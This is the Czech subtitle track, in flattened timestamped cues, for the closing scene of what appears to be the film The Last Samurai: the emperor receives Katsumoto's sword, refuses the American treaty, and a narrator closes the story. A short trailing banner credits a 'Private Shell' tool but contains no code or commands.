02:16:51,794 --> 02:16:55,753 a spolupráce mezi našimi dvěma mocnými národy. 771 02:16:56,549 --> 02:17:01,418 Jménem císaře jsme potěšeni, že jsme úspěšně dokončili 772 02:17:05,725 --> 02:17:07,716 toto vyjednávání. 773 02:17:15,735 --> 02:17:17,054 Je tady? 774 02:18:21,717 --> 02:18:24,311 Můžeme dokončit toto jednání? 775 02:18:52,206 --> 02:18:54,401 To je Kacumotův meč. 776 02:18:56,252 --> 02:18:58,846 Chtěl by, abyste ho dostal. 777 02:19:00,214 --> 02:19:03,763 Aby vás vždy provázela síla samuraje. 778 02:19:04,385 --> 02:19:08,776 Všichni truchlíme pro Kacumota. 779 02:19:09,181 --> 02:19:13,459 Do posledního dechu doufal, 780 02:19:14,270 --> 02:19:18,388 že si vzpomenete na předky, kteří drželi tento meč, 781 02:19:19,358 --> 02:19:21,030 a na to, za co umírali. 782 02:19:23,112 --> 02:19:24,386 Výsosti. 783 02:19:41,839 --> 02:19:45,878 Byl jste s ním do konce? 784 02:19:52,767 --> 02:19:55,884 Tento muž proti vám bojoval. 785 02:20:00,441 --> 02:20:02,238 Výsosti, 786 02:20:03,152 --> 02:20:06,030 jestli mě považujete za nepřítele, 787 02:20:06,280 --> 02:20:09,875 poručte a já si ochotně vezmu život. 788 02:20:24,382 --> 02:20:27,897 Snil jsem o jednotném Japonsku. 789 02:20:28,678 --> 02:20:33,194 O silné, nezávislé a moderní zemi. 790 02:20:34,642 --> 02:20:39,557 Dnes máme železnici, děla a západní oblečení. 791 02:20:47,280 --> 02:20:50,909 Nemůžeme však zapomenout, kdo jsme. 792 02:20:52,952 --> 02:20:56,183 Nebo odkud pocházíme. 793 02:21:09,719 --> 02:21:12,358 Pane velvyslanče Swanbecku, 794 02:21:12,597 --> 02:21:19,514 usoudil jsem, že vaše dohoda není v zájmu mého lidu. 795 02:21:20,897 --> 02:21:22,853 Pane, mohl bych ... 796 02:21:23,065 --> 02:21:26,614 Je mi velice líto, ale nemohl. 797 02:21:26,986 --> 02:21:29,420 To je skandál. 798 02:21:36,579 --> 02:21:38,137 Osvícený, probereme to ... 799 02:21:38,331 --> 02:21:41,721 Omuro, vy už jste udělal dost. 800 02:21:42,210 --> 02:21:44,519 Všechno jsem dělal pro vlast. 801 02:21:44,754 --> 02:21:46,551 Nebude vám tedy vadit, 802 02:21:46,756 --> 02:21:50,192 když váš majetek daruji lidu. 803 02:21:50,927 --> 02:21:53,202 Uvalujete na mě hanbu. 804 02:21:53,429 --> 02:21:55,420 Je-li neúnosná, 805 02:22:04,857 --> 02:22:07,371 nabízím vám tento meč. 806 02:22:37,098 --> 02:22:39,658 Řekněte mi, jak zemřel. 807 02:22:47,441 --> 02:22:50,990 Řeknu vám, jak žil. 808 02:23:01,289 --> 02:23:04,565 Tak skončila doba samurajů. 809 02:23:05,918 --> 02:23:11,390 Někdy se říká, že stejně jako lidé mají svůj osud i národy. 810 02:23:12,383 --> 02:23:17,298 Co se týče amerického kapitána, nikdo neví, co se s ním stalo. 811 02:23:17,680 --> 02:23:21,150 Někteří tvrdí, že podlehl svým zraněním. 812 02:23:21,475 --> 02:23:24,626 Jiní, že se vrátil do vlasti. 813 02:23:25,438 --> 02:23:32,196 Já si rád představuji, že konečně našel trochu pokoje, 814 02:23:32,612 --> 02:23:36,924 který všichni hledáme, ale málokdo najde.
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas